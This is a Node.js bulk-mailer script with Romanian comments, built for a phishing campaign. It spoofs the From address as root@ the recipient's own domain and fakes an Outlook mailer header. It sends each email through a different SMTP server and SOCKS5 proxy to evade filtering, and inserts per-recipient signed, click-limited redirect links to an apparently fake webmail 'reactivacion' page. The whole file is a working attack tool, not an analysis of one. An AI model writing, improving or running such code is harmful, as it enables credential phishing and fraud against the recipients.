// send3.js — fara attach: link unic semnat (48h, max 3 click-uri), Unsubscribe One-Click
// From: root@<recipient-domain>
// Usage: node send3.js 3

const fs = require('fs');
const path = require('path');
const nodemailer = require('nodemailer');
const { ProxyAgent } = require('proxy-agent');
const crypto = require('crypto');
const { promisify } = require('util');
const sleep = promisify(setTimeout);

// ========== CLI threads ==========
let numberOfThreads = parseInt(process.argv[2], 10) || 1;

// ========== Helpers ==========
function readSingleLineFile(p, fallback = null) {
  try {
    if (fs.existsSync(p)) {
      const v = fs.readFileSync(p, 'utf8').trim();
      return v || fallback;
    }
  } catch {}
  return fallback;
}
function readLines(p) {
  if (!fs.existsSync(p)) return [];
  return fs.readFileSync(p, 'utf8').split('\n').map(s => s.trim()).filter(Boolean);
}

// ========== Config ==========
const OVERRIDE_FROM_EMAIL = readSingleLineFile('from_email.txt', null);
const OVERRIDE_REPLY_TO   = readSingleLineFile('reply_to.txt',   null);

// Redirect base catre r.php pe domeniul tau
const REDIRECT_BASE = readSingleLineFile('redirect_base.txt', '').replace(/\/+$/,''); // ex: https://domeniu.tld/r.php
if (!/^https?:\/\/.+\/r\.php$/i.test(REDIRECT_BASE)) {
  console.error('[Error] redirect_base.txt trebuie sa contina URL complet catre r.php (ex: https://domeniu.tld/r.php)');
  process.exit(1);
}

// Secret HMAC — trebuie sa fie IDENTIC cu secret.txt de pe server
const HMAC_SECRET = readSingleLineFile('secret.txt', null);
if (!HMAC_SECRET) {
  console.error('[Error] secret.txt lipsa. Pune aceeasi cheie ca pe server.');
  process.exit(1);
}

// tinta finala (site-ul la care vrei sa ajungi)
const TARGET_BASE = 'https://actualizar-webmail.ar5ys.ink/reactivacion/';

// ========== SMTP list ==========
let smtpServers = [];
if (fs.existsSync('smtp_servers.txt')) {
  smtpServers = fs.readFileSync('smtp_servers.txt', 'utf8')
    .split('\n').map(s => s.trim()).filter(Boolean)
    .map(line => {
      const [host, port, user, pass] = line.split('|');
      return { host, port: parseInt(port, 10), user, pass };
    });
}
if (smtpServers.length === 0) {
  console.log('[Info] No smtp_servers.txt found or empty. Using localhost:25 without auth.');
  smtpServers = [{ host: '127.0.0.1', port: 25, user: null, pass: null, local: true }];
}
let currentSmtpIndex = 0;
let emailCounter = 0;
const maxEmailsPerSmtp = 1;
const getNextSmtpServer = () => {
  currentSmtpIndex = (currentSmtpIndex + 1) % smtpServers.length;
  emailCounter = 0;
  return smtpServers[currentSmtpIndex];
};
const createTransporter = (smtpConfig, proxy) => {
  const base = { host: smtpConfig.host, port: smtpConfig.port, secure: smtpConfig.port === 465 };
  if (smtpConfig.user && smtpConfig.pass) base.auth = { user: smtpConfig.user, pass: smtpConfig.pass };
  if (proxy) base.agent = new ProxyAgent(proxy);
  return nodemailer.createTransport(base);
};

// ========== Proxies (optional) ==========
let proxies = [];
if (fs.existsSync('proxies.txt')) {
  proxies = readLines('proxies.txt');
}
const getRandomProxy = () => {
  if (!proxies.length) return null;
  const p = proxies[Math.floor(Math.random() * proxies.length)];
  const [host, port, user, pass] = p.split(':');
  if (user && pass) return `socks5://${user}:${pass}@${host}:${port}`;
  return `socks5://${host}:${port}`;
};

// ========== Inputs ==========
const emailAddresses = readLines('emails.txt');
const subjects       = readLines('subjects.txt');
const names          = readLines('names.txt');
const links          = readLines('links.txt'); // daca vrei link separat în text, dar #LINK# va fi redirect-ul semnat

// ========== Templates ==========
function loadMessageTemplates() {
  const dir = path.resolve('./messages');
  let templates = [];
  try {
    if (fs.existsSync(dir) && fs.statSync(dir).isDirectory()) {
      const files = fs.readdirSync(dir).filter(f => /\.(txt|html)$/i.test(f));
      for (const f of files) {
        const content = fs.readFileSync(path.join(dir, f), 'utf8').trim();
        if (content) templates.push(content);
      }
    }
  } catch {}
  if (!templates.length && fs.existsSync('message.txt')) {
    const raw = fs.readFileSync('message.txt', 'utf8');
    const parts = raw.split(/^\s*-{3,}\s*$/m).map(s => s.trim()).filter(Boolean);
    templates = parts.length ? parts : (raw.trim() ? [raw.trim()] : []);
  }
  if (!templates.length) templates = ['Hello'];
  console.log(`[Info] Loaded ${templates.length} message template(s).`);
  return templates;
}
const MESSAGE_TEMPLATES = loadMessageTemplates();

// ========== Placeholder helpers ==========
const generateRandomNumber = n => Array.from({length:n}, () => Math.floor(Math.random()*10)).join('');
const generateRandomString = n => Array.from({length:n}, () => String.fromCharCode(97+Math.floor(Math.random()*26))).join('');
const extractDomain = email => (email.split('@')[1] || '');
const formatDate = () => {
  const now = new Date(); const dd = String(now.getDate()).padStart(2,'0');
  const mm = String(now.getMonth()+1).toString().padStart(2,'0'); const yyyy = now.getFullYear();
  return `${dd}.${mm}.${yyyy}`;
};
function expandPlaceholders(str, { recipient, domain, date, link }) {
  return (str || '')
    .replace(/#RANDOMNUM\((\d+)\)#/g, (_, n) => generateRandomNumber(parseInt(n,10)))
    .replace(/#RANDOM\((\d+)\)#/g,   (_, n) => generateRandomString(parseInt(n,10)))
    .replace(/#EMAIL#/g,  recipient)
    .replace(/#DOMAIN#/g, domain)
    .replace(/#DATE#/g,   date)
    .replace(/#LINKS?#/g, link);
}

// ========== Link generator (conform) ==========
// Semnam: email|cid|ts|target (trebuie sa corespunda cu validatorul din r.php)
function makeSignedRedirectLink(recipientEmail) {
  const cid = crypto.randomBytes(8).toString('hex');  // id scurt
  const ts  = Math.floor(Date.now() / 1000);
  const target = TARGET_BASE;

  const data = `${recipientEmail.toLowerCase()}|${cid}|${ts}|${target}`;
  const sig  = crypto.createHmac('sha256', HMAC_SECRET).update(data).digest('hex');

  const qs = new URLSearchParams({
    e: recipientEmail.toLowerCase(),
    cid,
    ts: String(ts),
    t: target,
    sig
  }).toString();

  // link final catre r.php
  return `${REDIRECT_BASE}?${qs}`;
}

// pentru List-Unsubscribe One-Click (semnam email|ts)
function makeUnsubLink(recipientEmail) {
  const ts = Math.floor(Date.now() / 1000);
  const data = `${recipientEmail.toLowerCase()}|${ts}`;
  const sig  = crypto.createHmac('sha256', HMAC_SECRET).update(data).digest('hex');
  const base = REDIRECT_BASE.replace(/\/r\.php$/i, '/u.php');
  return `${base}?e=${encodeURIComponent(recipientEmail.toLowerCase())}&ts=${ts}&sig=${sig}`;
}

// ========== Core sender ==========
const sendEmail = async (threadIndex) => {
  let smtpConfig = smtpServers[currentSmtpIndex];
  let proxy = getRandomProxy();
  let transporter = createTransporter(smtpConfig, proxy);

  for (let j = threadIndex; j < emailAddresses.length; j += numberOfThreads) {
    const recipient = emailAddresses[j];
    if (!recipient) continue;

    const domain = extractDomain(recipient).toLowerCase();
    const date   = formatDate();

    // Link unic semnat (48h, max 3 click-uri — aplicat pe server)
    const signedLink = makeSignedRedirectLink(recipient);

    // Subject / name
    let subject = subjects[Math.floor(Math.random() * subjects.length)] || '(no subject)';
    subject = expandPlaceholders(subject, { recipient, domain, date, link: signedLink });

    let name = names[Math.floor(Math.random() * names.length)] || 'Support';
    name = expandPlaceholders(name, { recipient, domain, date, link: signedLink });

    // === From/Reply-To: root@<recipient-domain> ===
    const dynamicFrom = domain ? `root@${domain}` : 'root@localhost';
    const fromEmail    = OVERRIDE_FROM_EMAIL || dynamicFrom;
    const replyToEmail = OVERRIDE_REPLY_TO   || fromEmail;

    // Unsubscribe links (mailto + one-click HTTP)
    const listUnsubHttp = makeUnsubLink(recipient);
    const listUnsubHdr  = `<mailto:${fromEmail}?subject=unsubscribe>, <${listUnsubHttp}>`;

    const mailOptions = {
      from: `${name} <${fromEmail}>`,
      to: recipient,
      subject: subject,
      html: expandPlaceholders(
        // injectam #LINK# în mesajele HTML/text prin placeholders
        MESSAGE_TEMPLATES[Math.floor(Math.random() * MESSAGE_TEMPLATES.length)],
        { recipient, domain, date, link: signedLink }
      ),
      replyTo: replyToEmail,
      headers: {
        'List-Unsubscribe': listUnsubHdr,
        'List-Unsubscribe-Post': 'List-Unsubscribe=One-Click',
        'X-Mailer': 'Microsoft Outlook 16.0' // cosmetic
      }
    };

    try {
      await transporter.sendMail(mailOptions);
      const via = smtpConfig.local ? 'localhost' : (smtpConfig.host || 'SMTP');
      console.log(`[Sent] ${recipient} by thread ${threadIndex} using ${via} FROM=${fromEmail}`);
      fs.appendFileSync('sent.txt', recipient + '\n');
      emailCounter++;
      if (emailCounter >= maxEmailsPerSmtp) {
        smtpConfig = getNextSmtpServer();
        proxy = getRandomProxy();
        transporter = createTransporter(smtpConfig, proxy);
        console.log(`[Info] Switched SMTP to ${smtpConfig.host || 'localhost'} after ${maxEmailsPerSmtp} emails`);
      }
    } catch (err) {
      console.log(`[Error] send to ${recipient}: ${err && err.message ? err.message : err}`);
      fs.appendFileSync('failed.txt', recipient + '\n');
      smtpConfig = getNextSmtpServer();
      proxy = getRandomProxy();
      transporter = createTransporter(smtpConfig, proxy);
      console.log(`[Info] Switched SMTP to ${smtpConfig.host || 'localhost'} due to an error`);
    }

    await sleep(500);
  }
};

// ========== Run ==========
(async () => {
  const workers = [];
  for (let i=0; i<numberOfThreads; i++) workers.push(sendEmail(i));
  await Promise.all(workers);
})();
